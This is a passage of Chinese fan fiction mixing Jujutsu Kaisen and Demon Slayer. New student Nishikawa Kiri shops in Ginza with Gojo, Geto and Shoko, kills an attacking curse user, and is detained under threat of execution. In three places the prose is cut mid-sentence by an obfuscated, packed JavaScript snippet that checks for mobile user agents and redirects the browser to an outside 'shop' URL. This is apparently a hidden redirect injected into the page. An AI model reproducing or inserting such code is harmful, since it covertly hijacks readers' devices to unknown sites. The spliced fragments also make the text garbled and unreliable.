被嘲笑了的雾音伸手拉了拉裙摆,望着面前的三个人,蹙了下眉,看上去有些疑惑:“这是我妈妈以前给我做的。真的很丑吗?” 知道新同学父母双亡的三人:“……” 刚刚嘴巴超毒的五条悟:“……” 肉眼可见地,白发少年表情僵住了,鼻梁上的小圆墨镜都滑了下来,露出尴尬的不知道往哪里看比较好的蓝眼睛。 旁边两个同学谴责的视线戳在他脸上,他伸手摸着自己的鼻尖,视线左右飘移着,站直身体,飞快地说了句:“对不起。” 然后又不自在地左右扭着头颅,也不看向女生,手指伸进了夏油杰拎着的塑料袋里乱摸,嘴上还假装若无其事道:“我的果汁呢杰,我记得买了的,怎么找不到了?” 夏油杰叹了口气,拍掉在塑料袋里乱摸的手,指了指另一张桌子:“你不是放在那里了吗?所以说悟,下次说话的时候拜托学着看点眼色吧。” 理亏的五条悟吹了吹被拍红的手,也不接他的话,长腿一迈坐回了自己的座位上,背对着大家,拿起放在桌面上的橙汁拧开就咕咚咕咚猛灌。 家入硝子无语:“我真是不知道应该先吐槽夏油妈妈比较好,还是先吐槽恶劣的小学生五条。雾音,你不要理那个小学生,我觉得你的裙子特别漂亮。” 夏油杰也从袋子中拿出一瓶气泡水放在雾音的桌上,并没有选择跟硝子一起安慰新同学,而是直接低声道: “如果雾音真的想用这条裙子做校服,我觉得应该还要再改一下才可以。” 其实西川雾音是有些不高兴的。 但是由于情感缺失,那点不高兴也只像是不会留下痕迹的水面圈纹,一层层迭荡开后,也就消失不见了。 因此夏油杰的话成功吸引了雾音的注意力,她侧头认真听他说话,同时细细地蹙了下眉:“因为不好看吗?” “当然不是,”夏油杰察觉到了女生转瞬即逝的情绪,他索性耐心地俯下身,手指轻轻点了一下申请表上的其中一项,“虽然说是作为校服,其实更多是战斗时能够护住我们身体的特质服装,因此能够包裹着全身大部分的皮肤是最好的。雾音想要把它做成连衣裙的话,那在穿着它战斗的时候,连衣裙可能……嗯有时候会不太方便……” 死去的被女生压在身下,裙摆罩住头脸的记忆突然又浮现在脑海,夏油杰忙咳了一声:“所以可以在原本样式的基础上,把它改成上装下裙的款式,这样就算动作大一点也没关系。我记得女生的裙子会有防走光的设计,如果是连衣裙的话可能就加不了了。” 西川雾音也想起了将杰压倒时的乌龙事件。她若有所思地点点头,总算仰头对着男生露出了一个浅浅的笑容:“那就改成上装下裙好了。” 家入硝子在旁边露头:“短裙确实有这种设计——等一下,夏油,你怎么这么了解女生的校服裙啊?” 西川雾音的目光落在了他的脸上。 夏油杰语塞:“……” 该怎么解释自己当初为了设计出一个独一无二的款式,专门让咒灵去偷过后勤办公室的高专校服这件事呢。 家入硝子不需要解释,她站到雾音的身边,单手揽过雾音的肩膀,俯视刚刚还一脸严肃正经好像很靠谱,现在只能左顾右盼的男同学,连同他身后一直背对着他们但是竖着耳朵的白毛一起,给他们再次下了定义: “一对人渣。” “不是硝子……你听我解释,我当时是为了看看学校里其他人设计的样式才去让三角羊把校服拿出来看看……”试图挽回自己形象的夏油杰。 西川雾音用惊讶的目光看着他:“杰用咒灵偷女生校服吗?” 挽回形象失败的夏油杰:“……” “噗噗。”这是偷笑的五条悟。 夏油杰站起身,往后退了两步,扭身手肘就捣向还在噗噗噗乱笑的五条悟,五条悟开着无下限,得意洋洋地对他做着鬼脸。 两个人你一拳我一脚就这么滚成了一团。 雾音就着拳拳到肉的背景音,思考了一下后,在申请表上画完了自己心仪的校服款式,跟硝子一起手挽手离开了教室。 - 因为新的校服要三到四天才能送到学生手里。 只带了一把日轮刀,从京都一路徒步走到东京的西川雾音被夜蛾老师塞到同学手里,让他们一起打包去市里帮雾音买生活用品。 “所以说,你迟到半个月的原因,竟然是因为从京都走路来的东京吗?” 四个人正站在高专通往外界唯一的公交站台前,等着一小时一趟的公交。 带着小圆墨镜的男同学在路过便利店的时候随手进去抓了一把糖,还不忘理直气壮地让夏油杰给他付钱。 此时他正咬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706632|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬糖,用奇异的目光看着西川雾音,下了定义:“你好怪诶。” 西川雾音站在阳光照不到的阴影里,眯着眼睛望着一碧如洗的天,目光追随着天空的一只孤鸟,看着它在空中盘桓。 “嗯,因为管制刀具。带着日轮刀不能坐公共交通。”雾音这么回答着。 听到这个原因的其他三人在怔了一下后,以五条悟的嚣张嘲笑最大声:“你这人真的蠢得要命诶——” 西川雾音对同学给自己的评价只是轻眨了下眼睛。 落单的鸟还在天空中不知方向,偶尔发出嘶鸣呼唤着同伴。 雾音仰头任由清风吹徐,伸手轻轻梳弄了一下头发,然后就感觉到有视线一直落在自己的身上。 眼睛转了转,就在余光中看到一旁的黑发男生正安静地看着她。 雾音转过脸来与他对视。 然后又扭过脸去。 他好像猜到了她在撒谎。 西川雾音看着天,有些漫无目的地想着,那要说实话吗?好像……不应该对朋友撒谎? “悟,”男生带着淡笑的声音响起,“你忘了你入学时身后跟着的一百个佣人了吗?” 白毛脑袋的笑声戛然而止了:“哈?哪里有那么多?也就十几个,还是那些老头子塞过来的。” 家入硝子也一本正经地开口:“确实,当时看到五条走到哪,哪里就响起‘少爷好’时,还以为自己误入了什么昭和时代,吓了一跳呢。” “喂,硝子,这种时候就不要跟杰站在统一战线了吧!”白毛脑袋要跳起来了。 夏油杰一句话就让五条悟忘记了正在嘲笑的新同学。 西川雾音好奇地看向他,他只是对她露出一个浅浅的笑。 好在硝子还记得今天出门的主题,搂着雾音的肩膀就开始将话题转回了今天要去买的东西。 西川雾音对吃穿都没有什么特别多的要求,但是咒术界排行前三的家族出来的五条大少爷发话要请他们去银座吃和牛,于是大家欣然把行程改到了东京的市中心。 公交车终于摇摇晃晃地爬过来,在四个人面前停下。硝子已经两步三步跳了上去,雾音慢了一步就听到身后一阵丁零当啷的声响,一扭头就看到夏油杰正在往五条悟合拢的手掌里倒硬币。 “干嘛啊,你怎么还不上去?你不会是要跟老子抢吧?”五条悟警惕地将手掌握紧。 西川雾音有时候属实不能理解自己这位同班同学的脑回路,只好选择看向已经走到她身后的夏油杰。 夏油杰无奈耸肩,仗着背对着同期,将手遮在嘴边小声道:“长这么大都没做过公交车,每次来都要抢着投硬币,超幼稚——” 西川雾音:“……” “喂——老子能听到啊!” 被抓包的夏油杰半点不露怯,含着笑冲雾音眨了眨眼,比着口型:“被发现啦快走快走。” 硝子也已经坐到了车的最后一排,将后面四个并排的空位全占了下来,对他们喊着:“这里!” 然后三个人就坐成一排在后面,看着不食人间烟火的五条大少爷站在投币箱前,摊开手掌先将手心里的硬币展示给司机看——司机带着不失礼貌的微笑看着他。 然后又用右手单独拿起一枚硬币,举起来亮给后面的三位同学,最后才面带严肃地将一枚硬币放到投币口,松手,硬币滚落进箱子里发出叮叮当当地声响,然后是第二枚、第三枚…… 全部投完后,五条少爷再次将视线落到后排的三人身上。 夏油杰一边抬起手,一边小声对雾音道:“鼓掌。今天他请客。” 西川雾音忙跟着其他两人一起噼里啪啦拍起手来。 硝子最敷衍,意思意思拍了两下就没声了。 得意洋洋地五条少爷终于走到他们身前,捋了一把额前的白毛,一屁股坐在了给他留好的位置上。 他一坐下,正单手飞快刷着手机的硝子亮出了手机屏:“我要这个。” 夏油杰:“我跟硝子一样。” 西川雾音看着熟练的两个人,又看了一眼手机屏上的顶级和牛菜单,端正坐好:“要最贵的。” 8. 第八章 公交车摇摇晃晃开了两个小时才从偏僻的高专来到东京市中心。 广播了好几遍,坐在后排已经昏昏欲睡、头撞在一起的四个人才猛然惊醒。 动作矫捷的五条悟顺手拎起硝子的衣领就要从车窗跳出去,挨了硝子的一拳后才龇牙咧嘴从车门下去。 西川雾音也被坐在身旁的男生一把抓住手腕,夏油杰微微用力,就将她从座位上拉起:“到站了雾音。” 男生一边扭头对她笑,一边拉着她往车门跑去。 她只来得及看到男生被风鼓动的制服衬衣和他额前随着身侧流溢的风往后吹拂的刘海,然后就因为惯性,踉跄了一下后,脚步便不由自主跟随着他跑起来。 等到公交车在眼前重新开走,那点睡意好像才慢慢散去。然后西川雾音就听到此起彼伏的笑声,还夹杂着几句互相埋怨的话。 是差点坐过站,跑着下车的同学们在对视之后没忍住的笑意。 “好蠢啊,差点坐过站诶。” “都怪杰啦,怎么会睡着。” “哈,你自己也睡着了吧?” 身侧看上去惯来稳重的男生一边笑一边毫不嘴软地回怼着,细长的眼尾染着愉悦藏进鬓角里,他微微弓着身,被他扣住的手腕都传来轻微震动。 西川雾音仰头看向他,然后像是被他和他们的笑容所感染,雾音的眼睛也弯了起来。 夏油杰一低眸,就与雾音对视上。浅碧色的瞳仁像是月亮湾里的一泓清泉,笑意浅浅荡在里面。 夏油杰后知后觉地发现自己还牵着对方的手腕,与他炙热的掌心不同,女生天生就低一些的体温在他手里像是滑腻的温凉白玉。 他立时松开了手。 男生不自在地侧了侧头,手指掩饰般摸了一下自己的头发:“不是要去买东西吗,去哪里?” 他看向了另一侧的家入硝子。 硝子正在从包里掏东西,方方正正的烟盒被她拿在手里,她熟练地倒出一根咬在嘴里,然后侧着头看向夏油杰:“先来一根。要吗?” 男生并没有拒绝,带着笑几步走到硝子身边,接过了她手里的烟。 五条悟就反应颇大,他蹙起眉挎着脸,明明还没点燃,手就已经伸在脸前不停地扇着:“好臭啊你俩,真是搞不懂这玩意有什么好抽的。” “小孩子当然不会懂大人的爱好。”硝子拿出打火机点燃了自己的烟,然后将火机丢给了夏油杰,“好不容易出了学校,不用担心被夜蛾老师抓包。” “什么啊,装的大人罢了。嘁。” 五条悟翻着白眼,嫌弃地转身到另一边,扭头看到还在望着杰的西川雾音,短促地耸了下鼻头,抬起手臂揽在了女生的肩膀上,带着她往另一边去:“走了走了,离他们远点,超——难闻的……你这家伙不会也想抽吧?” 西川雾音当然不抽烟。 她只是有些惊讶硝子和杰。 这两个人无论是谁,看上去都不像是会抽烟的人。 她被五条悟拉到公交站的另一边,上风口的位置。 五条悟还不忘记再扇一扇,确定没有臭臭的烟味才随性地蹲在了马路牙子上,掏出上车前买的糖拆了一颗塞进嘴里。 西川雾音站在他旁边,面对着车站的另一侧,双手交叉背在身后看着站在一起抽烟的两个人。 硝子就靠在站牌上,用手臂托起手肘,一边跟旁边的男生说话,一边吐着烟圈。 男生虽然还带着淡淡的微笑,偶尔侧头与硝子说上一句,但是更多时候是沉默倾听。 白色的烟雾缭绕在他脸侧,模糊了他的神情,也像是隔开了他与别人的距离般。 这样的夏油杰是雾音没有见过的。 “他变得不一样了,对吧?” 漫不经心的声音从下方传来,雾音低头就看到白发男生蹲在那,一手托着腮,也正百无聊赖地望着那边抽烟的两个人,因为左右舔舐着硬糖,脸颊还时不时鼓起来一块: “杰看起来是优等生,其实一点不优等,这家伙……跟老子一样心里藏着野兽呢,不然老子怎么会跟他做朋友,因为他是老子的同类嘛。” 同类…… 西川雾音望着白雾里明灭的红点,突然想起了那天晚上站在虹龙身上的黑发少年。 他说出咒灵难吃的像是吞下抹布时,垂下的眼睫里泄露着不易察觉的疲倦和他自己都不知道的那一丝如释重负。 好像她是他唯一的倾听者,在此之前,在她之前,从来没有人知道咒灵是那么恶心的味道。 “他和你才不是同类。” “啊?”五条悟舌尖抵着硬糖,有些凶神恶煞地抬头。 西川雾音没有看向他,浅碧色的眼睛始终望着吐出白色烟雾的男生:“我好像知道他为什么会抽烟了。” “哈?”五条悟瞪着蓝眼睛。 雾音轻轻眨了下眼睛,这是她跟杰之间的秘密。 浅风吹散了白烟,夏油杰终于注意到了雾音的视线,他举起手无声笑着对她挥了一下。 硝子也望过来,跟夏油杰说了句什么,两个人就一齐把还未抽完的烟按灭在了旁边的石柱上。 “雾音。”家入硝子背着手走过来,笑着揽住她的肩膀,“走吧,我们去shopping。” 西川雾音跟着她转身前,余光注意到黑发男生在下风口停住脚步又站了会,直到吹散了身上的烟味才跟上来。 因为落后了几步,他还被白发同期扬声催促着。但他也只是闲散地应了一句,仍旧不紧不慢地坠在后面,然后就被好友一把搂住肩膀,推着往前走。 硝子一边用手机搜索着附近的商店,一边在问雾音喜欢什么样的风格,身后两个男生不时的拌嘴打闹声也随着风飘进她的耳朵里。 在京都的四年里,一直独进独出的她,身边好像不再只有自己的影子了。 西川雾音突然就想露出笑容来,她也确实这么做了。 尽管身体里的诅咒已经随着她情绪的变换悄无声息地俯趴在她的肩头,但她仍旧由衷地露出了微笑。 只有走在她身后的五条悟和夏油杰察觉到了她身上的变化。 六眼若有所思地扫过她,然后举高手臂伸了个懒腰,懒懒地嘟囔着:“真是个麻烦的家伙……只是高兴诶,那东西都会跑出来,难怪那些老橘子要害怕到连她出门买东西都得我们两个守着。” 夏油杰却只是将视线落在前方女生带着笑的柔和的侧脸上:“悟在害怕吗?” “哈?你在说什么世纪笑话吗?” 夏油杰笑了一下:“那就让她一直这么高兴好了,反正有我们在不是吗?我们可是最强啊。” - 硝子带着三个人左拐右拐来到一家专卖潮流的商场。 “基本上现在日本最火的几个年轻品牌这家商场里都有,就在这里随便逛好了。” 家入硝子刚说完,就听到身后响起兴奋的声音。是某个在入学高专前很少出门的大少爷。 白毛脑袋一头扎进一排排衣架里,从里面翻出来两件T恤,举得贼高,大喊着夏油杰的名字:“杰!看这个!” 夏油杰揉了下头发,顶着周围人的目光:“你确定要穿这件?” 他伸出手指指了指一黑一白两件衣服,左边的那件写着【天上天下】,右边的那件写着【唯我独尊】。 五条悟歪着头看他:“不是我穿,是我们。” 夏油杰:“……” 夏油杰很果断:“不要。” 五条悟:“一起一起,杰,一起一起!” 然后随手一甩,左边那件就扔到了夏油杰的脸上。 夏油杰额角绷起#字,面带微笑将糊在脸上的衣服撕下来,就看到五条悟睁着蓝眼睛:“杰,你是怕穿了没我好看吗?” 夏油杰:“哈。” 从初中开始就一直收到表白信,对自己的魅力从没有过怀疑的夏油杰用手指捏着那件白T,站到更衣室门口排队去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706633|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“看吧,我就说夏油会穿的。”走在后面的目睹这一幕的家入硝子耸着肩对雾音说:“别看五条好像每次都是胡闹的那个,夏油也不逞多让。之前他俩刚入学的时候,就把二年级歌姬学姐的醉酒视频发到了高专全员校友群里,然后被夜蛾老师踢出了群聊到现在都没有被拉回来。歌姬学姐也因此出了一周的外勤了,估计短时间内都不会回校了。” 西川雾音:“……” 西川雾音无比认真:“如果有一天,他们两个也拍了我的视频,硝子务必要告诉我。我一定会打到他俩满地求饶的。” 家入硝子哈哈大笑:“好,我一定不给他们治疗!” 两个女生对视一眼,默默地击了个掌。 五条悟和夏油杰同时打了个喷嚏。 那双天穹般湛蓝的眼睛转了一下,就瞄到了站在后面的两个女生。 “雾音!硝子!” 都没看清他是怎么跑过来的,他就一手拽了一个,往两人脸上卡了个墨镜:“Perfect!” 没跑掉的家入硝子和西川雾音:“……” 于是进商场前还是穿着黑色校服的男高中生,在从更衣室出来后,一人头上卡了一个墨镜,左边黑毛穿着【天上天下】,右边白毛穿着【唯我独尊】。 只有两个女生稍微好点,好歹衣服还是自己的,只有鼻梁上挂着墨镜。 四个人在商场里招摇过市,生动形象演绎了什么叫做ヤンキー(不良少年)。 西川雾音用手抵了抵大到把她半张脸都给遮住的墨镜,艰难透过黑色的镜片去看两边的商店。 她之前穿衣服都是产屋敷大人给什么,她就穿什么,对于喜欢什么风格她自己也没有一个特别明确的答案。 硝子索性带着她把每个风格都试了一遍。 西川雾音刚换好硝子给她选的天蓝色套装裙,一边将塞进领口的长发拨弄出来,一边推门走了出去。 出了更衣室却没看到硝子,只有夏油杰一个人靠在墙边等着。 “硝子呢?”西川雾音问。 在她出来的时候,夏油杰就已经扭过头来看她,见到她对她笑着:“硝子啊,去另一家店买东西了,让我们买好后再去找她。” 西川雾音看了他一眼,轻轻哦了一声,侧过身去照摆放在那里的全身镜。 她整理着衣领和裙摆,天蓝色的柔软布料就像天边舒卷的云,堆堆叠叠地将女孩裹在其中。 突然,她道:“夏油,我饿了。” 男生眉眼舒展,露出一个略显无奈的笑容:“你想吃什么?” 西川雾音慢慢掀起眼皮,透过面前的镜子望着站在她侧后方的黑发男生,浅碧色的瞳仁里弥漫上一层白雾,她温温吞吞道: “不是说好了,去吃和牛吗?” 男生的脸上有一瞬间的怔松:“对啊,我们去吃……” 他的嘴还在开开合合,血已经从脖颈处裂开的隙缝里溅了出来。 西川雾音呼出白雾:“我不喜欢你扮成我朋友的样子。” 面前光滑的镜面从某一处开始慢慢出现裂纹,男生茫然倒映在镜中的身影也被分成千万片,然后同镜面一起碎在地上。 哧—— 血大片大片喷洒出来,落在天蓝色的裙装上,晕染开大片的暗红色。 她恍若未觉。 虚无缥缈的白雾不知何时已经萦绕在她的身周,手指间是一把雾凝成的长刀。 突然,一道声音从身后传来:“雾音。” 随着这一声,原本空间内消失的喧闹声、音乐声也重新源源不断地涌进耳廓里。 西川雾音回头。 秀美的面容上横着一道溅出的血迹,天蓝色的裙子也像是被夕阳染红的霞云。 她的右手微微抽动了一下,半抓握的手指缓慢松开,雾刀散去,被捅穿脖子钉在镜子上的黑衣人就这么掉在地面上。 夏油杰第一时间设下了普通人无法进入也无法看到的【帐】。 9.第九章 夏油杰在打电话。 “……是,已经第一时间设下了帐……辅助监督已经到了,商场也开始疏散人群了……只死了一个,剩下的那些人悟已经去追了,嗯,雾音没事……好的夜蛾老师。” 夏油杰挂断电话,回头去看站在另一边摆弄着手中墨镜的女生。 她身上还披着他的制服外套,外套下没有遮住的裙摆晕染着大片干了的红褐色,像是深秋在泥地里腐败衰落的草叶。 对方敏锐地感知到夏油杰的视线,冷瞥过来的目光在看到是他后,重新软和下来。 好友走之前曾告诉夏油杰,让他现在离女生远一点。 不仅仅是他,这次从高专赶来的特殊处理人员都默契地与雾音保持距离。雾音身周被刻意地空出一圈真空地带。 夏油杰虽然看不到,却能感知到有庞然大物站在她的身后,暗藏杀机的不属于人的视线始终坠在在场每个人的身上。 ——要远比他第一次见到她时更强烈。 夏油杰摸了摸口袋里刚刚转化的咒灵玉,握在手中,往前迈出一步,阴恻怖人的气息便扑面而来。 “杰是我的朋友,没关系的。”西川雾音微微侧头,对着空无一物的肩头轻声说着,“他是我的朋友。” 面对如此怪诞的一幕,夏油洁面不改色,他脚步未停地又迈出一步,一直走到西川雾音的身边。他将手举到她的面前,摊开,掌心里是一枚浑圆的咒灵玉。 夏油杰对雾音笑了笑:“我想也许你会需要这个。” 西川雾音一怔,抬眸看他:“杰不要吗?这是一级咒灵,已经能够施展简易领域了。” 就是这个咒灵在她踏出更衣室的时候将她拉入了领域内,操纵咒灵的诅咒师被她一刀毙命,领域才破碎。 说实话,夏油杰确实没有想要的想法。 他想,无论是谁,在目睹了女生用雾刀毫不犹豫捅穿诅咒师的脖子,将一个成年男人钉在墙上的场景,都会被震撼到。 她神情漠然,没有被喷溅在脸上的鲜血动摇过分毫,你甚至可以说她是冷酷的。 她像是已经这么做过许多次。 哪怕是夏油杰,祓除的咒灵没有一千也有八百,但是他从来没有杀过人。甚至于他长久以来的信念是保护那些弱小的人类。 可是他也没有恐惧犹疑之类的心理。 他现在甚至算得上很冷静。 夏油杰将墨色的咒灵玉举在女生的面前,平心静气道:“以后还会再有一级出现。但是雾音现在拒绝的话,要任由诅咒攀附在你的肩头吗?这么放任它跑出来,哪怕有呼吸法,你的身体也会受不了吧?” 西川雾音神情有些怔松,看着这枚咒灵玉,没想到他还记得自己之前的话。 在龙身上翱翔的那个夜里,她曾告诉对方自己的呼吸法在平日里一直将咒力锁在身体里用来压制诅咒,当她使用呼吸法的时候,咒力会渗透进她的肌肉和骨骼中,强化她身体的同时,也会松开诅咒的桎梏。 这个时候的诅咒会用比平日多数倍的速度吞噬她的情感,因此每次她都要吞下咒灵玉来平衡。 西川雾音扇了扇眼睫,伸手拿起了那枚足有她大半个拳头大的咒灵玉,当着夏油杰的面,仰头将它塞入口中。 明明拿在手中是光滑坚硬的东西,却在接触到口腔的瞬间就变得软弹起来,甚至像活物般自发地往喉咙挤去。 远比喉管的尺寸大上数倍的咒灵玉让西川雾音不得不维持着昂首的姿势,感受着喉咙被撑大撑开、堵塞难以下咽的哽感,她的手指不由自主地扶上自己的脖子,一边抵抗着想要干呕的生理反应,一边努力下咽。 一直到吞进肚子里,她都仰着头,喉间不受控制地咽着口水。哪怕她已经几乎尝不出咒灵玉的味道,但是那种生理上的不适仍让她皱紧眉头。 好半晌,她才慢慢低回头颅,正对上夏油杰复杂的目光。 “还好吗?”他低声问。 西川雾音点点头。 刚吞下咒灵玉,她实在是不想张口说话。 夏油杰明白那种感觉。 这也是他第一次看别人吞下咒灵玉。 可是作为看客的那一方,他并不比雾音好受多少,就因为感同深受,他在目睹雾音艰难吞下咒灵玉时,甚至感觉自己的喉咙也在发涩、梗住。 他知道那种感觉。 难吃的、恶心的、曾经是他在不被人理解时的全部压力来源。 “夏油同学……”有声音从身后叫住他,夏油杰恍然从过去的回忆里回神,转过身看向一直站在不远处踟蹰,此刻才终于走过来的辅助监督,“夏油同学,你能来一下吗?” 夏油杰注意到辅助监督额上的汗和微微抽搐的嘴角,他极快地蹙了下眉,然后扭头看向西川雾音,对她笑了笑:“雾音,你等我一下。” 西川雾音点头。 她有些不可控制地走神。 诅咒已经重新回到身体里了,但是从手脚开始,都在微微发冷,她索性就这么坐在了一旁摆放衣服饰品的货柜上,阖上眼睛养神。 才刚坐下不久,就听到耳畔响起男生抑扬顿挫的声音:“看上去状态还不错嘛你。” 一睁眼,白发男生歪着头放大的脸就在眼前,他弯着腰,双手插在口袋里,笑嘻嘻:“你这家伙很悠闲啊,被诅咒师通缉了诶你知道吗?” 西川雾音眨了下眼睛:“知道。” 五条悟站直身体,隔着墨镜睨着她:“果然之前说什么因为管制刀具才从京都走着来东京这种话是在骗人啊。” 西川雾音难得语塞。 原来大家都听出来她在撒谎了,但是却没有一个人指出来。 这件事上确实是她不对,骗了自己的同学。她本意是不想这些事牵扯到同学身上。 西川雾音本以为到了高专那些人会收敛,却没想到竟然直接跟到了这里。 西川雾音摸了摸自己的头发,仰起头看向直哼哼的五条悟:“对不起。” 五条悟再次凑近她,湛蓝的眼睛一眨不眨地看着她:“真的抱歉的话……明天的体术课,你跟夜蛾说你要跟老子一组。” 正好走过来的夏油杰:“……” 夏油杰扫了一眼被他丢了满地、眼睛里在转圈的黑衣人们:“悟,都解决了?” “老子可是最强啊,”五条悟看向他:“超——轻松哦。这些人应该只有二级咒术师的水平就敢来找麻烦,挑衅强者的弱者诶,真是难得一见。” 说着,他将目光睇到坐在那里的女生身上,砸了砸嘴:“估计里面最厉害的就是被雾音捅穿的那个人了,一级诅咒师。不过老子倒是对他们的战斗方式很感兴趣……杰也注意到了吧?” 夏油杰嗯了一声:“按理说除了咒灵操使以外,没有咒术师可以调服咒灵。所以本质上来说无论是诅咒师还是咒术师,跟咒灵都是天然的对立关系。但是今天遇到的这些诅咒师,哪怕只有那一个,却可以操控咒灵按照他的意愿施展领域,甚至在他死亡后,咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716169|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的实力也大幅降低……” “是之前从来没有听说过的方式……”五条悟摸了摸自己的下巴,蓝眼睛就盯上了站在旁边一直没说话的西川雾音。 “是‘血的束缚’。”被注视着的雾音老实开口,“那些人是用自己的血跟咒灵定下了束缚条件。” 五条悟眨了眨眼睛:“血?” 夏油杰也望了过来。 西川雾音点点头,语气平静:“还记得之前跟你们提到过的千年前产屋敷一族出现的人类的叛徒、鬼之始祖吗?他可以利用自己的血将人类改造成同他一样的鬼,这些人也是用血改造了咒灵,为他们所用。他们称呼这些咒灵为‘鬼奴’,控制‘鬼奴’的方式叫做‘御鬼’。” “哈?”五条悟露出难以理解的神情,“鬼奴?这是什么中二的称呼,他们脑子是不是不好使?” 夏油杰则想的更深入一些,他蹙起眉问:“这些人的血有什么不同吗?为什么能够控制咒灵?还有,这些人是……” “这些人是想要长生不老的人。鬼舞辻无惨虽然死了,但是想要永远活着的野心却被传播了出去。”西川雾音低声道,“当年,不是所有人都不愿成为不人不鬼的怪物的,鬼舞辻无惨改造人类也会挑剔。那些没有被选中的人在他死后自发的聚集在一起,抛弃掉自己原本的姓名,并以鬼舞辻的姓氏自称。” “百年前,鬼舞辻无惨死后,曾有一个诅咒师得来了他的一点血液。因为很少很少,甚至无法改造人类,于是将其制成盏状的咒具,每一个入鬼舞辻的人都会在仪式上喝下咒具里的液体,得到他们第一份血的咒灵则可以永远为他们所驱使。” “有个问题——”五条悟高举起右手,像是小学生回答问题般拖着长音:“按照你的说法,这些人已经存在百年之久,且能够控制咒灵诶,岂不是强到可怕咯,但在今天之前,老子从来没有听说过什么‘鬼奴’‘御鬼’。哦那什么鬼杀队的故事倒是在家上课的时候听过,但也仅限于此。如果你说的是真的,那御三家为什么从来没有提及过这样的组织?喂,你不会是在编故事骗我们吧?” 可被质疑的西川雾音只是抬着眼皮看他,浅碧色的眼睛如同冻湖上的冰晶,让人看不清湖下的风光。很快她又垂下眼睑,沉默不言语。 “你这什么眼神——” “悟,”夏油杰制止了五条悟剩下的话,“控制咒灵的事,我们刚刚都亲眼见到过,这应该是毋庸置疑的。至于你为什么从来没有听说过……悟,先问一下,以前你在家里上课的时候应该没有走过神或者逃过课吧?” 五条悟:“……” 他伸手托了托自己的墨镜:“哎呀……” 夏油杰秒懂:“好,关于你的问题先跳过去。假设雾音说的都是真的,那么第一,这些人一共能操控几只咒灵?操控的咒灵有等级要求吗?第二,关键点在那个咒物上。那件咒物是改造了喝下它的人的体质?还是说这是某种能力?第三,也是最后一个问题。” 夏油杰看向认真听他说话的西川雾音,轻声问:“雾音,他们为什么要通缉你?如果没有猜错,你一个人从京都走来东京,也是因为这些人吧?” 西川雾音的眼睫剧烈颤动了一下,像是蝴蝶骤然起飞的翅膀。 她刚动了动唇,辅助监督走了过来,看了看西川雾音,又看了看五条悟和夏油杰。 辅助监督张了张嘴:“五条同学、夏油同学,总监会的命令你们,即刻带一级危险人物西川雾音回东京高专等候裁决。” 10.第十章 没有窗户的房间内只有正中间亮起一点烛火,房间四周贴着黄色的符咒,天花板上也吊着数条绳结做成的咒。 西川雾音坐在唯一的一把椅子上,看着那点烛火发呆。 自她在银座用雾凝成的刀切开诅咒师的脖子后,就被辅助监督和同学带回了高专,关在了这个房间里。 因为没有时间也听不到声音,雾音也不知道自己在这里待了多久。 但好在她对于这种形影相吊的日子是习惯的。 过去的四年里,在没有课程和训练的大多数时间里都是她一个人在屋子里度过。 因为那时的她无法完全控制自己身上的诅咒。 为了能够抑制诅咒,也为了防止诅咒可能的暴走,哪怕产屋敷大人从来没有限制过她的行动,她在不需要祓除咒灵的时候也不会乱跑。 这样一想,也难怪产屋敷大人会担心吧……也许还不需要诅咒吞噬,她的情感就已经要被自己消磨殆尽了。 好在她现在来到了高专,还有了朋友。 她又想起了自己的三个同学,空白的神情动了动,总算有了几分人气。 会被关在这里,倒也不是特别吃惊。 毕竟早在四年前,事故刚发生后不久,产屋敷大人就曾带她拜访过京都的咒术高专,希望京都的人能够为她解除诅咒。 可京都的人却直接宣判了她的死刑。 只是碍于产屋敷大人的威严,最终也只是色厉内荏地要求她必须在咒术师的看管下活动,不然必会按照规定严惩她。 当然这种屁话产屋敷大人权当没有听过。 这一次,大概也是因为这个原因,才会将她关在这里吧。 西川雾音有些漫无目的地想着,好在这一次并没有像京都的那样,用长长的链子捆住她的手脚,困在这简陋的木椅上。 她并不知道,此时她念着的同学和东京的咒术高层正在对峙。 - “……按照咒术界的规定,西川雾音将被秘密执行死刑。” 被【舞良户】隔成一扇又一扇的狭小空间内,只有晦暗的烛火晃动。 苍老沙哑的声音从舞良户后传出,漠然地宣判着别人的生命。 被舞良户包围住的最中间站了两个人——五条悟、夏油杰。 听到死刑两个字,夏油杰几不可闻的蹙了下眉,神情也冷凝了些。只有五条悟搔了搔耳朵,手指放在嘴边轻轻吹了一下,然后才漫不经心地掀着眼皮瞥向说话的方向。 “抱歉啊,听不懂狗叫。走了杰,饿死了,还得去找雾音和硝子一起吃饭呢。”他说着,双手插在口袋里,迈开腿就要往外走。 